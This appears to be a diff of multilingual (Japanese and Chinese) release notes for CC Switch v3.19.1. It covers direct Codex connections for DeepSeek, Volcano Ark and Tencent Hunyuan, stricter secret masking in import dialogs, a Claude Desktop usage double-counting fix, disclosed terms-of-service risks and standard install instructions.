これは v3.19.0 の `ccswitch://` 確認ダイアログ強化の続きです。設定のプレビューは共有モジュールで一元的に構築するようになり、入れ子になった TOML テーブルや JSON オブジェクトの中の秘匿値も再帰的にマスクします。これにより、方向の異なる 2 つの欠陥が同時に解消されました。Grok Build のインポートはこれまで設定のプレビューが**まったく描画されず**、Codex のインポートは埋め込まれた `api_key` を**平文で表示**していました。
設定プレビューにあった 300 文字の切り詰めは撤廃され、全文がスクロール可能な枠内に描画されるようになりました——確認ダイアログが「これから何を書き込むか」を隠しうる最後の箇所が塞がれます。マスク自体も、使われているすべての箇所で厳しくなりました。**MCP のインポート確認ダイアログも含みます**:秘匿キー名の照合に `AUTHORIZATION``COOKIE``CREDENTIAL` と、完全一致の `AUTH``BEARER` を追加し、マスク後に表示される平文のプレフィックスは 8 文字から 4 文字に縮小、長さが 8 文字以下の値は、そのまま表示するのではなく全体を置き換えるようになりました。
最後に、フロントエンドの Base64 デコーダーは前後の空白を切り落とさなくなりました——それは URL デコードによって `+` が空白になったものである可能性があるためです。これは v3.19.0 で修正したのと同じ種類の、フロントエンドとバックエンドのデコード基準のずれです。確認ダイアログが表示するものと、インポーターが書き込むものが食い違ってしまいます。
---
## 内部変更
### 呼び出し元のないコード 3,166 行、14 モジュール、依存 4 件を削除
「呼び出し元が 1 つもない」コードを対象にした整理です。バックエンドではプロバイダのアイコン推定テーブル、プレースホルダーのヘルスチェッカー、一度も接続されていない SSE 実装(ストリーミングと非ストリーミングのハンドラを含みます)、未使用のプロキシセッション型 2 つ、参照のない使用量パーサー 4 つ、そして使われていないコスト計算の入口を削除しました——**本番の課金経路、その自動判別パーサー、セッション ID の抽出はすべて手つかずです**。コンパイラが今まで警告しなかった原因である 22 か所の `#[allow(dead_code)]` も、あわせて削除しました。
フロントエンドではインポート元のない 14 モジュールを削除しました。パネルへの作り直しで置き換えられたプロンプトフォームのモーダルとリポジトリマネージャ、重複したプロキシ設定の hook、プロジェクトの歴史上一度もインポート元を持たなかったサーキットブレーカーのパネル、そして 3 つの schema ファイルが含まれます。これらの文言も 4 言語から同時に削除しました。これらのモジュールの背後にある Tauri コマンドは意図的に残しています。未使用の npm 依存 4 件も削除しました。手動管理のアイコンインデックスを再生成する 2 つのスクリプトを削除し、インデックスファイルのヘッダには「自動再生成は意図的にサポートしない」と明記しました。
あわせて、プロキシの状態と引き継ぎの状態を単一のクエリ層に統合しました——これまで同じコマンドを対象とする 2 つ目の hook 群が並存していましたが、呼び出し元はゼロで、そのクエリキーには観測者が一度も付かず、それらを対象とした無効化はすべて空振りでした。クエリキーの文字列は一字も変わっておらず、残した hook は従来のポーリング動作を維持しています。([#5916](https://github.com/farion1231/cc-switch/pull/5916)、[#5928](https://github.com/farion1231/cc-switch/pull/5928)
---
## アップグレード時の注意
### 本リリースにデータベースマイグレーションはありません
v3.19.1 にスキーマのマイグレーションは含まれず(バージョンは v16 のまま)、アップグレード前のバックアップも発生しないため、そのまますぐに利用できます。
### Claude Desktop の 2 重計上の自動修復には 30 日の期限があります(要確認)
この修正はデータを書き換えたり削除したりするのではなく、クエリ時に重複行を抑制します。そのため**明細行が残っている日は、次回起動時に正しい合計へ戻ります**。再構築の操作は必要ありません。
ただし明細行は 30 日を超えると日次ロールアップに集計され、削除されます。そしてロールアップは集計時点で有効だった基準で一度計算され、そのまま固定されます。**この修正を含まないバージョンですでに集計されてしまった日は、水増しされた数値が永久に残ります。** この回帰は v3.18.0(2026-07-21)で入ったため、アップグレードが早いほど、取り戻せる過去の範囲は広くなります。
### 新しい価格が過去のデータに与える 2 通りの影響
新たに価格を追加した 8 モデルは**遡って再計算されます**。起動時にコストが 0 と記録されているリクエストへコストが補われるため、これらのモデルのダッシュボードの数値は**上がります**。すでに集計・削除された明細行は再計算できず、0 のままです。
価格を変更した 4 モデルは逆方向です。補正は 0 コストの行しか扱わないため、すでに記録済みのリクエストは旧価格のままで、新しいリクエストのみが新価格で計上されます——同じモデルでも、過去の費用と今後の費用は一致しません。どちらの経路でもご自身の価格は保護されます。修正は元の組み込み値のままの行しか変更せず、`~/.cc-switch/model-pricing.json` にある手動での価格変更・models.dev の同期値・削除の記録は、投入と修正の後に再適用され、常に優先されます。
### プリセットの変更は新規作成のプロバイダにのみ影響します
すでに保存済みの DeepSeek や火山方舟 Coding Plan のプロバイダは、保存されている API 形式を保ち、引き続きローカルルーティングを必要とし、従来のカタログを使います。直接接続にするには、プリセットからプロバイダを作り直すか、プロバイダフォームの詳細設定で API 形式をネイティブ Responses に変更してください。
ただし、**すでにネイティブ Responses で、アドレスが `deepseek.com` 上にあるプロバイダは、次回の切り替え時に自動でミラーリングされた公式カタログを使うようになります**。保存し直す必要はありません——判定はライブ設定を読むためです。
### DeepSeek V4 Pro はまだ直接接続で使えません
プリセットには引き続き `deepseek-v4-pro` が並んでおり、ベンダー自身が公開しているカタログにも含まれていますが、**DeepSeek 側で pro 向けの Codex 連携がまだ開放されていません**。公式に示されている時期は 2026 年 8 月上旬です。それまでは直接接続モードで pro を選ぶと上流でエラーになります——プリセットの既定モデルでもある `deepseek-v4-flash` をご利用ください。
いま pro をどうしても使いたい場合は、そのプロバイダの API 形式を「OpenAI Chat」に戻し、ローカルルーティングの引き継ぎを有効にしてください。これは v3.19.1 より前に DeepSeek がずっと通っていた経路そのものです。ローカルプロキシが Codex の送る Responses リクエストを Chat Completions に変換するため、pro はこの経路では影響を受けません。
### DeepSeek 公式カタログの 2 つの前提
ミラーリングされたカタログは Codex クライアントの最低バージョンとして 0.144.0 を宣言していますが、**CC Switch 自身は検証を行いません**——カタログが持つ freeform な `apply_patch` の登録には、このバージョン以降が必要です。また、生成されるカタログファイルは(ミラーリングされた 2 モデルで)約 75 KB まで大きくなります。各エントリがハーネスの全文を含むためです。
### 直接接続の後、使用量の帰属はプロバイダ名から `Codex (Session)` に変わります
DeepSeek・火山方舟 Coding Plan・Tencent Hunyuan は引き継ぎを必要としなくなったため、そのトラフィックはローカルプロキシを完全に迂回でき、プロキシ側のリクエスト単位の記録からは見えなくなります。
**使用量そのものは失われませんし、区別もできます**——Codex のセッションログの取り込みが従来どおり記録します。ただしこの経路はプロバイダの識別情報を持ちません。ローカルプロキシを通らなかった Codex の使用量はすべて `Codex (Session)` という名前の項目にまとめられ、公式サブスクリプションの消費もこの行に入ります。つまり DeepSeek がルーティング経由から直接接続に変わると、その使用量は「DeepSeek」という名前の下から `Codex (Session)` に移ります。
**区別するにはモデルを見てください**:使用量の各レコードはそれぞれのモデル ID を保持しており、使用量パネルの「モデル統計」がモデルごとに 1 行ずつ表示します——`deepseek-v4-flash``hy3``ark-code-latest` と公式サブスクリプションの GPT 系は、それぞれ別の行になり、費用も token も分かれています。**プロバイダ単位**という軸そのものが必要な場合(たとえば同じモデルを複数のアグリゲータ間で比較したい場合)にのみ、引き続きローカルルーティングの引き継ぎを使う必要があります——この経路は実際のプロバイダ名を記録します。
### Codex の古い認証情報のクリーンアップには 2 つの前提があります
クリーンアップは「切り替え先のプロバイダに明示的な公式カテゴリが付いている」**かつ**「切り替え元のプロバイダが正常に書き戻された」場合にのみ実行されます。手動で作成し公式カテゴリを付けていないエントリや、書き戻しに失敗した切り替えでは、古い認証情報はディスクに残ったままです。
### Grok Build で引き継ぎを有効にするとバックエンドのフィールドが書き換わります
Grok Build のプロバイダで引き継ぎを有効にすると、ライブ設定のバックエンドのフィールドが Responses に書き換えられるようになりました。データベースに保存されているプロバイダのレコードは影響を受けず、プロキシ停止時にライブファイルはバックアップから丸ごと復元されます。
### ツールのインストールと更新における PATH の変化(macOS / Linux のみ)
設定 → バージョン情報から実行するツールのインストールと更新はすべて、ログインシェルの PATH を、引き継いだ PATH の前に結合するようになりました。そのためライフサイクルのスクリプトが名前で解決するプログラムが、以前と異なるものになる可能性があります。また各操作でこの PATH を読むためのシェルが 1 つ余分に起動され、対話用の起動ファイルが実行されます。**Windows は影響を受けません。**
grok 0.2.112 以降を使っているユーザーは、インストールの記録が 2 つ見えることがあります——ネイティブのものと、`grok update` 自身が作成したグローバルの npm パッケージです。これらは上流によって同期が保たれ、同じバージョンを報告します。
### 環境変数の競合検出の照合基準が変わりました
Claude Code・Codex・Gemini の検出は「部分一致」から「プレフィックス」に引き締められました。そのため、単に名前にアプリ名を含むだけの変数——`MY_ANTHROPIC_API_KEY``OLD_GEMINI_API_KEY`——は**競合として報告されなくなります**。あわせて Grok Build の検出を追加しました。
### ディープリンクのインポート確認で表示される秘匿値が減ります
マスク後に表示される平文のプレフィックスは 8 文字から 4 文字に縮小され、長さが 8 文字以下の値は全体がマスクされます。これは MCP のインポート確認ダイアログにも影響します。
---
## リスク通知
### 継続してお伝えしている注意事項
**xAI Grok OAuth サインイン**:公式 Grok CLI の公開 OAuth クライアント識別情報を再利用しており、利用によってアカウントの制限や停止につながる恐れがあります——詳細は [v3.18.0 release notes](v3.18.0-ja.md#リスク通知) を参照してください。
**Codex OAuth リバースプロキシ**:ChatGPT サブスクリプションの Codex OAuth をリバースプロキシ経由で使用すると、OpenAI の利用規約に違反する可能性があります。詳細は [v3.13.0 release notes](v3.13.0-ja.md#-リスクに関する注意事項) を参照してください。
**SuperGrok の残量照会**:プロバイダカードの残量表示は grok.com の非公開の課金エンドポイントに依存しており、xAI がインターフェースを変更すると機能しなくなる可能性があります——詳細は [v3.19.0 release notes](v3.19.0-ja.md#リスク通知) を参照してください。
**サードパーティプロバイダへのルーティング**:CC Switch のローカルプロキシで Codex・Claude Desktop・Grok Build のリクエストを変換してサードパーティのプロバイダへ転送する場合、課金・コンプライアンス・データ保持に関する制約はプロバイダごとに異なります。利用前に対象プロバイダの利用規約をお読みください。
上記の機能を有効にした時点で、ユーザーは関連するリスクを自ら引き受けることになります。CC Switch は、これらの機能の利用に起因するアカウントの制限・警告・サービス停止について、一切の責任を負いません。
---
## 謝辞
本リリースの修正は、その大半が外部のコントリビューターによるものです——6 つの PR のうち 5 つは私が書いたものではありません。
### コード貢献
- [#5677](https://github.com/farion1231/cc-switch/pull/5677)Grok Build のプロキシ引き継ぎとディープリンク連携の仕上げ——バックエンドのフィールド、セッションの識別、フェイルオーバータブ、環境変数の検出、さらに設定プレビューでの秘匿値の漏れの修正まで。@YUZHEthefool さんに感謝します。本リリースで最も広い範囲をカバーした仕事です。
- [#5951](https://github.com/farion1231/cc-switch/pull/5951)Claude Desktop の使用量 2 重計上の修正。@Komikawayi さんに感謝します。v3.18.0 のどの変更が 3 つの重複排除の防御を同時に破ったのかを突き止めたのは、本リリースで最も根気を要した調査でした。
- [#5916](https://github.com/farion1231/cc-switch/pull/5916)、[#5928](https://github.com/farion1231/cc-switch/pull/5928):呼び出し元のないコード 3,166 行と、重複したプロキシのクエリ層の削除。@SaladDay さんに感謝します。
- [#5943](https://github.com/farion1231/cc-switch/pull/5943):繁体字中国語のツール管理の文言を補い、言語のずれを防ぐテストを追加。@yovinchen さんに感謝します。
- [#5960](https://github.com/farion1231/cc-switch/pull/5960):すべての言語で簡体字中国語が表示されていた 9 件の文言の補完。@mhy1227 さんに感謝します。
### 問題報告
[#5938](https://github.com/farion1231/cc-switch/issues/5938) で、Claude Desktop のリクエストごとに `session_log` を出所とするログが 1 行余分に生まれ、token が 2 回集計されていることを報告してくださった @Alaric-L さんに感謝します——データソースまで特定された報告で、本リリースで最も重要な使用量の修正はこの報告から直接たどり着いたものです。
---
## ダウンロードとインストール
[Releases](https://github.com/farion1231/cc-switch/releases/latest) から、お使いのシステムに対応するビルドをダウンロードするか、公式サイト [ccswitch.io](https://ccswitch.io) から入手してください(ダウンロードは Cloudflare のエッジノード経由で配信され、GitHub への到達性に依存しません)。
### システム要件
| システム | 最低バージョン | アーキテクチャ |
| -------- | ------------------------ | ----------------------------------- |
| Windows | Windows 10 以降 | x64 / ARM64 |
| macOS | macOS 12 (Monterey) 以降 | Intel (x64) / Apple Silicon (arm64) |
| Linux | 下表を参照 | x64 / ARM64 |
### Windows
| ファイル | 説明 |
| ---------------------------------------- | -------------------------------------------- |
| `CC-Switch-v3.19.1-Windows.msi` | **推奨** - 自動更新対応の MSI インストーラー |
| `CC-Switch-v3.19.1-Windows-Portable.zip` | ポータブル版、展開してそのまま実行できます |
Windows ARM64 デバイスでは、ファイル名に `arm64` が含まれる対応する成果物を選択してください。
### macOS
| ファイル | 説明 |
| -------------------------------- | ------------------------------------------------------ |
| `CC-Switch-v3.19.1-macOS.dmg` | **推奨** - DMG インストーラー、Applications へドラッグ |
| `CC-Switch-v3.19.1-macOS.zip` | 展開して Applications へドラッグ、Universal Binary |
| `CC-Switch-v3.19.1-macOS.tar.gz` | Homebrew インストールと自動更新用 |
Homebrew インストール:
```bash
brew install --cask cc-switch
```
更新:
```bash
brew upgrade --cask cc-switch
```
### Linux
Linux アセットは **x86_64****ARM64**`aarch64`)の両方を提供します。ファイル名のアーキテクチャ識別子を、マシンの `uname -m` 出力に合わせて選択してください:
- `CC-Switch-v3.19.1-Linux-x86_64.AppImage` / `.deb` / `.rpm`
- `CC-Switch-v3.19.1-Linux-arm64.AppImage` / `.deb` / `.rpm`
| ディストリビューション | 推奨形式 | インストール方法 |
| --------------------------------------- | ----------- | -------------------------------------------------------------------------- |
| Ubuntu / Debian / Linux Mint / Pop!\_OS | `.deb` | `sudo dpkg -i CC-Switch-*.deb` または `sudo apt install ./CC-Switch-*.deb` |
| Fedora / RHEL / CentOS / Rocky Linux | `.rpm` | `sudo rpm -i CC-Switch-*.rpm` または `sudo dnf install ./CC-Switch-*.rpm` |
| openSUSE | `.rpm` | `sudo zypper install ./CC-Switch-*.rpm` |
| Arch Linux / Manjaro | `.AppImage` | 実行権限を付与して直接実行、または AUR を利用 |
| その他 / 不明な場合 | `.AppImage` | `chmod +x CC-Switch-*.AppImage && ./CC-Switch-*.AppImage` |
+369
View File
@@ -0,0 +1,369 @@
# CC Switch v3.19.1
> 这一版的主线是**把上一版的尾巴收干净**:三家国产 Codex 网关经确认原生支持 Responses API,**不用再开本地路由接管**——DeepSeek 与火山方舟 Coding Plan 的预设从走本地路由改为直连,新加入的腾讯混元 TokenHub 一上来就是直连;四个能在日常里撞上的故障被修掉——**Claude Desktop 用量自 v3.18.0 起被算了两遍**(升级后历史数字会自动回正,但有 30 天窗口,见「升级提醒」)、切回官方 Codex 会卡在 401 且看不到登录界面、从设置页升级 Grok Build 只报一句 `os error 2`、Grok Build 开启接管后直接 404。另有 8 个此前一直按 $0 记账的模型补上内置定价,39 个界面文案的语言问题被修正。本版**没有数据库迁移**,并且是本项目第一个删除量超过新增量的版本。
**[English →](v3.19.1-en.md) | [日本語版 →](v3.19.1-ja.md)**
---
## 重点内容:你现在可以
- **让 DeepSeek、火山方舟 Coding Plan、腾讯混元在 Codex 里直连**:三家的官方 Codex 文档都已确认端点原生提供 Responses API。DeepSeek 与火山方舟 Coding Plan 的既有预设从 Chat 格式改为原生格式,供应商卡片上的「需要路由」标记与切换时的提示随之消失,请求不再经过本地代理的协议转换;腾讯混元 TokenHub 是本版新增的预设,从一开始就是原生格式。**注意 DeepSeek V4 Pro 暂时还不能直连**——厂商侧尚未开通它的 Codex 集成,直连请用 V4 Flash(预设默认),详见[升级提醒](#deepseek-v4-pro-暂时还不能直连)。
- **让 DeepSeek 用上 DeepSeek 自己发布的模型目录**:新的「官方厂商目录镜像」机制把厂商公布的 `models.json` 原样下发给该厂商自己的端点,freeform `apply_patch` 与配套的 GPT-5 提示词框架成套保留,不再被压成中性模板。判定只认域名、不认模型名——同一个模型在聚合站上未必实现同样的能力。
- **拿到正确的 Claude Desktop 用量数字**:自 v3.18.0 起,经本地网关的 Claude Desktop 流量在看板里被记了两遍——一遍来自代理、一遍来自会话日志导入,token、费用与请求数约翻倍。本版修好后,明细行还在的日子会自动回到正确数字,**不需要重建**。
- **切回官方 Codex 之后能正常登录**:此前从第三方供应商切回内置的官方 Codex 条目时,第三方的 key 会留在 `~/.codex/auth.json` 里,Codex 拿着它去请求官方端点,稳定 401——又因为文件存在,它不会退回自己的登录界面,在应用里没有出路。
- **从设置页把 Grok Build 升上去**`grok update` 自 0.2.112 起改为内部调用 npm 完成分发,而图形界面启动的应用看不到 node,升级只会报一句 `Error: No such file or directory (os error 2)`
- **给 Grok Build 开启接管而不是撞上 404**API 格式被手动改成 OpenAI Chat 或 Anthropic 的 Grok Build 供应商,开启接管后请求会打到一个代理没有注册的路由上,直接 404,且没有故障转移、没有用量记录。同时,Grok Build 的每次请求此前都被当成新会话,缓存键注入与按会话聚合都失效了。
- **看到 8 个此前一直按 $0 记账的模型的真实成本**:`gpt-5.3-codex-spark``gemini-3.5-flash-lite``kimi-k2.7-code-highspeed``glm-5-turbo``glm-5v-turbo``qwen3.6-flash`,以及不带日期后缀的 `claude-opus-4-6` / `claude-sonnet-4-6`
- **在繁体中文界面里看懂「关于」页的工具管理**:30 个只补了简中 / 英文 / 日文的文案漏了繁体中文,因为 i18next 会静默回落英文,这块面板自 v3.16.0 起一直是半英文的。另有 9 个文案在**所有语言下**都显示简体中文。
- **在官方订阅与 DeepSeek 之间来回切,而不是二选一**:`auth.json``config.toml` 都是单槽文件,Codex 自己存不下第二份凭据。厂商的一键脚本会把这份配置改造成自己专用的,而 CC Switch 是按供应商整段快照与还原——这也是它和官方脚本最实际的区别,详见[下文对照](#用-cc-switch-接入和直接跑官方脚本有什么不同)。
---
## 使用攻略
本版的改动集中在 Codex 的连接方式与用量统计口径上,建议结合以下文档了解:
- **[本地路由](../user-manual/zh/4-proxy/4.2-routing.md)**:哪些供应商需要开启接管、接管做了什么。本版之后 DeepSeek、火山方舟 Coding Plan 与腾讯混元都不再需要它。
- **[用量统计](../user-manual/zh/4-proxy/4.4-usage.md)**:用量看板的数据来源与统计口径,理解 Claude Desktop 双算是怎么发生的、修复后为什么部分历史日期无法回正。
- **[在 Codex 中用 DeepSeek 这类 Chat 格式 API](../guides/codex-deepseek-routing-guide-zh.md)**:这篇攻略讲的是本地路由如何把 Responses 转换成 Chat Completions,机制部分对 Kimi、MiniMax、SiliconFlow 等仍是 Chat 形态的供应商依旧适用;但**其中以 DeepSeek 作为示例的部分已不适用于本版**——DeepSeek 现在走直连,不需要路由。
---
> [!WARNING]
>
> ## 唯一官方渠道声明(请务必阅读)
>
> CC Switch 是**完全免费、开源**的桌面应用,**不会向用户收取任何费用**。请仅通过下列官方渠道获取本软件:
>
> | 类别 | 唯一官方 |
> | -------- | ------------------------------------------------------------------------------ |
> | 官网 | **[ccswitch.io](https://ccswitch.io)** |
> | 源码 | **[github.com/farion1231/cc-switch](https://github.com/farion1231/cc-switch)** |
> | 下载 | **[GitHub Releases](https://github.com/farion1231/cc-switch/releases)** |
> | 作者 | **[@farion1231](https://github.com/farion1231)** |
> | 举报山寨 | **[GitHub Issues](https://github.com/farion1231/cc-switch/issues)** |
>
> **任何向你收费、要求充值、或索取登录凭据的"CC Switch"网站或客户端均为假冒**。如果你被诱导支付了费用,请立即停止操作并通过 GitHub Issues 反馈。
---
## 概览
CC Switch v3.19.1 是一次维护性发布,主线有三条。第一条是国产 Codex 网关集体转向原生 ResponsesDeepSeek 直连 `api.deepseek.com`,并带来一个可复用的机制——把厂商自己发布的模型目录原样镜像下发,让 freeform `apply_patch` 与配套的 GPT-5 提示词框架保持自洽,而不是被折叠成中性模板;火山方舟的 Coding Plan 端点 `/api/coding/v3` 在官方文档确认后跟进;腾讯混元的 TokenHub 作为新预设加入。三者都不再需要开启本地路由接管。
第二条是四个现场可见的故障修复:Claude Desktop 的用量自 v3.18.0 起被记两遍([#5938](https://github.com/farion1231/cc-switch/issues/5938));切回内置官方 Codex 供应商会留下第三方的 `auth.json`,导致 401 且看不到登录界面;`grok update` 在图形界面下只报 `os error 2`Grok Build 的代理接管在非 Responses 后端上 404,且每次请求都被当作新会话([#5677](https://github.com/farion1231/cc-switch/pull/5677))。第三条是减重:3,166 行已无任何调用方的代码与 4 个未使用的 npm 依赖被删除——本版是本项目第一个删除量超过新增量的版本。此外,深链导入确认框的脱敏更严、截断更少,8 个此前按 $0 记账的模型补上定价,4 个内置定价与厂商牌价重新对齐。本版**没有数据库 schema 迁移**(版本号保持 v16),升级轻量。
**发布日期**2026-07-31
**更新规模**12 commits | 71 files changed | +2,324 / -3,680 lines
---
## 新功能
### 官方厂商模型目录镜像(DeepSeek 首发)
Codex 从一个目录文件读取模型能力,而 CC Switch 此前对所有供应商都用中性模板生成这个目录——对聚合站这是对的,但会剥掉厂商自家集成所依赖的能力。现在,凡是随应用内置了官方目录的厂商,直接镜像下发它自己的那一份。
DeepSeek 是第一家:内置文件带着 `deepseek-v4-flash``deepseek-v4-pro` 两个条目,保留 `apply_patch_tool_type: "freeform"``web_search_tool_type: "text"``supports_search_tool: true`、low / high / max 三档思考强度,以及 `base_instructions``model_messages` 里那份 17,644 字符的 GPT-5 提示词框架——**这份框架必须与 freeform 工具注册一起走**,因为框架本身就在指导模型使用 `apply_patch`,拆开任何一半都会不自洽。
判定条件刻意收得很窄:供应商必须落在原生 Responses 档**并且** `base_url``deepseek.com` 上。**只认域名、不认模型品牌**——同一个模型在转售它的聚合站上未必实现同样的能力,按品牌授予等于把能力凭空发给了没有实现它的服务。供应商自己在目录里写死的条目仍然优先;遇到不认识的模型 ID 会克隆旗舰条目,但保留它自己的名称。其它所有档位生成的目录与改动前逐字节一致。
### 腾讯混元(TokenHubCodex 预设
Codex 的预设选择器里新增「Tencent Hunyuan」,归入「开源官方」分类,位于百炼与阶跃之间。选中即写好 `https://tokenhub.tencentmaas.com/v1``wire_api = "responses"` 与 TokenHub 强制要求的 `disable_response_storage = true`;声明 `hy3``hy3-preview` 两个模型,上下文窗口 **256K**(而不是接受 Codex 的 128K 默认值),并标记为纯文本——Codex 不会再把 `view_image` 的图片载荷发给读不了图的模型。
因为是原生 Responses 供应商,Codex 直连网关、无需本地路由;生成的目录走中性原生模板,会固定 `shell_type = "shell_command"` 并去掉原生网关拒收的 freeform `apply_patch` 注册。地址管理器与测速里从一开始就有两个候选:主域名与官方备用的 `.cn` 域名;区域独立的国际站刻意排除在外,因为 API Key 不跨站通用。
注意 **API Key 需要是开通了 Hy3 权限的 TokenHub key**Coding Plan 与 Token Plan 的订阅 key 在这个端点上用不了。
### 8 个此前按 $0 记账的模型补上内置定价
`gpt-5.3-codex-spark``gemini-3.5-flash-lite``kimi-k2.7-code-highspeed`(按 Kimi 的 Turbo 惯例,取 `kimi-k2.7-code` 基准价的 2 倍)、`glm-5-turbo``glm-5v-turbo``qwen3.6-flash` 在内置定价表里根本没有行,前缀回退也够不着,因此每一次请求都被记成零成本。
另外两行 —— 不带日期后缀的 `claude-opus-4-6``claude-sonnet-4-6` —— 补的是一个更隐蔽的缺口:模型 ID 解析只会**剥掉**日期后缀、从不**补上**,所以一条带着无日期 ID 的日志谁也匹配不到。八行全部按「不存在才插入」播种,你改过的价格不受影响。
### Grok Build 加入故障转移页签与环境变量冲突检测
设置页的故障转移在 Claude Code、Codex、Gemini 之外新增第四个 Grok Build 页签。启动时的环境变量冲突横幅也开始检测 `XAI_API_KEY``GROK_DEFAULT_MODEL`——这两个变量会静默盖掉你在应用里选的供应商。检测区分了精确名与前缀,所以 CC Switch 自己用的 `GROK_BIN_DIR``GROK_HOME` 不会被误报。
---
## 变更
### DeepSeek 与火山方舟 Coding Plan 改为直连 Codex,不再需要本地路由
两家的预设此前都标记为 OpenAI Chat 格式,因此都是「需要接管」的:供应商卡片带着「需要路由」标记,未开代理就切换会弹提示,每个请求都要走 Codex → 本地代理 → Responses 转 Chat → 上游这条链路。
现在两家的官方 Codex 集成文档都已确认端点提供 Responses API——DeepSeek 的 `api.deepseek.com` 与火山方舟的 `/api/coding/v3`——两个预设随之声明为原生 Responses,标记与提示消失,Codex 直连网关。两家写出的 `config.toml` 都没有变化(本来就是 `wire_api = "responses"`),变的是目录生成档位;DeepSeek 另外把上下文窗口从 1,000,000 对齐到厂商自己的 1,048,576。
BytePlus 国际站刻意保持 Chat 路由不变,等国际站文档单独核实后再说。火山预设里还留了一条值得知道的计费注记:按量计费的 `/api/v3` 端点**绝不能**加进这个预设的备用地址——它单独计费,不走套餐额度。
### 目录的显示名与上下文窗口改为「显式才生效」
这两个字段此前带着本地默认值——模型 ID 与 128,000 的窗口——并且在厂商值有机会参与之前就应用了,镜像目录里 1M 的窗口会被 128K 覆盖掉。现在它们是可选的,回退挪到条目构造那一层,于是「留空」才真正等于「沿用厂商声明的值」。显式写了这两个字段的供应商,以及所有非镜像档位,生成的目录与之前完全一致。
---
## 用 CC Switch 接入,和直接跑官方脚本有什么不同
DeepSeek 官方提供了一条 Codex 一键接入脚本,它能用、会备份、也带恢复菜单。**如果你这台机器就打算专心用 DeepSeek,跑官方脚本没有任何问题。** CC Switch 解决的是另一个场景:你要在多个供应商之间来回切。
### 换供应商时,登录态与配置整套换,不用自己备份
`~/.codex/auth.json``~/.codex/config.toml` 都是**单槽文件**——Codex 本身没有多凭据存储,一份配置只能对应一个供应商。CC Switch 在你切走某个供应商时,把这一对文件的内容整段快照进那个供应商的记录里;切回来时再整段写回。所以「ChatGPT 订阅 → DeepSeek → 切回订阅」通常不需要重新 `codex login`,第三方之间来回切则完全无需手工动作。手工做同一件事,你得在每次切换前后各拷贝一次这两个文件,漏一次,被覆盖的 OAuth 凭据就只能重新登录找回。
官方脚本的取舍不同:它把 `config.toml` 改造成 DeepSeek 专用配置——顶层写死 `preferred_auth_method = "apikey"``forced_login_method = "api"`,把认证方式固定为 API Key,并且**删除 `config.toml` 里已有的 `[profiles.*]`**(Codex 自带的多供应商切换机制)。你的 ChatGPT 登录凭据本身没有被删,`auth.json` 原封不动;但在这份配置下用不上,想回订阅需要跑脚本的恢复菜单整体回滚——回滚会连带丢掉安装之后你对 `config.toml` 的任何手改。脚本本身也只能在 flash 与 pro 之间切换,没有「换到第三个供应商」这一档。
### 换供应商之后,`codex resume` 里的旧会话还在
Codex 的续聊列表按会话里记录的 `model_provider` 分抽屉。CC Switch 创建的所有第三方 Codex 供应商——不管是 DeepSeek、Kimi 还是聚合站——都写同一个标识 `custom`,所以在它们之间怎么换,`codex resume` 一直能看到全部历史。CC Switch 首次启动时还会做一次性迁移,把已知的按厂商分桶的旧会话(官方脚本写入的 `deepseek` 也在其中)折进这个共享桶,原文件先备份到 `~/.cc-switch/backups/`
**这里有一条明确边界**:这个迁移只在 CC Switch 首次启动时跑一次。**如果你先装了 CC Switch、之后才去跑官方脚本**,那批带 `deepseek` 标识的会话不会再被折进来,它们会留在自己的抽屉里。另外,你手写的、不在已知名单里的供应商标识,CC Switch 刻意不去改动它。
### 官方订阅的会话,在 CC Switch 里本来就和第三方混排
CC Switch 的**会话管理面板直接扫描会话目录、不读 `model_provider`**,所以官方订阅期间产生的 Codex 会话一直和第三方会话在同一个列表里,可搜索、可续聊、可删除——**不需要开任何开关**。
如果你还希望 **Codex 自己的 `codex resume` 列表**也把官方与第三方合并,那是另一件事:设置 → 通用 → Codex 应用增强 → **「统一 Codex 会话历史」**,默认关闭。开启后只影响新会话;已有的官方会话要一并迁入,需要在开启确认框里再勾选「同时迁入现有官方会话历史」(同样默认不勾)。这两项都是既有功能、不是本版新增,边界场景见[《统一 Codex 会话历史》攻略](../guides/codex-unified-session-history-guide-zh.md)。
> **两个共同前提,先说清楚免得你事后困惑:**
>
> **一、以 CC Switch 指向的 Codex 目录为准。** 默认是 `~/.codex`,可在设置里改。**CC Switch 不读 `CODEX_HOME` 环境变量**——如果你用这个变量把 Codex 指到别处,那边的会话它看不见,供应商切换也会写进 CLI 没在用的目录里。要换目录请用 CC Switch 自己的「配置文件目录」设置。
>
> **二、出现在同一个列表里,不等于一定能续聊。** Codex 的推理内容(`encrypted_content`)只有产生它的后端能解密,跨供应商继续一段旧会话可能失败——这是上游的设计,不是 CC Switch 能绕过的。
---
## 修复
### Claude Desktop 的用量被算了两遍
经本地网关的 Claude Desktop 流量在用量看板里落两次——一次是代理行,一次是会话记录导入行——于是它的 token、费用与请求数大约翻倍。
这是 v3.18.0 引入的回归:代理侧的去重 ID 对除 `claude` 之外的所有应用都带上作用域前缀,写成 `session:{应用}:{供应商}:{消息ID}`,这就把 `claude-desktop` 放进了独立命名空间;而会话导入器仍然以裸的 `session:{消息ID}` 形态、`app_type = 'claude'` 写同一条 Claude 消息。三道去重防线因此同时失守:让代理行吸收已有会话行的主键收敛、写入侧的指纹探测、读取侧的过滤器——后两者都在用严格相等比较应用类型。
现在两个应用重新共用裸命名空间,两处比较则按单向规则放宽:`claude` 的会话行可以被 `claude-desktop` 的代理行吸收,**反过来不成立**。由于读取侧的过滤器也正是日报聚合所使用的那一个,已经入库的重复行会停止被计入,**不改写、不删除任何一行**——这条自愈有保留期限制,见「升级提醒」。对 Codex、Gemini、OpenCode 而言放宽后的比较退化为原来的精确匹配,额度检查仍使用严格匹配。([#5938](https://github.com/farion1231/cc-switch/issues/5938)、[#5951](https://github.com/farion1231/cc-switch/pull/5951)
### 切回官方 Codex 供应商会卡在 401、看不到登录界面
在 Codex API Key 保留开关关闭时(默认如此),切换到第三方供应商会把对方的 key 写进 `~/.codex/auth.json`。之后再切到内置的官方供应商——它存的凭据是空的——会走「只写配置」这条分支,于是 `config.toml` 被替换,而第三方的 `OPENAI_API_KEY` 原样留在盘上。Codex 随后拿着这把外来的 key 去请求官方端点,稳定 401;又因为 `auth.json` 存在,它不会退回自己的登录界面,在应用里找不到出路。
现在,成功切到官方 Codex 供应商之后,如果 `auth.json` 里只有一个 `OPENAI_API_KEY`、旁边没有任何一等凭据,这个文件会被删除——OAuth 令牌、个人访问令牌、agent 身份、Bedrock key 中的任何一个都标志着这是一份真实凭据,会被完整保留;而 `auth_mode``last_refresh`、账号 ID 这类纯元数据不再能「挡住」一把过期的 key。
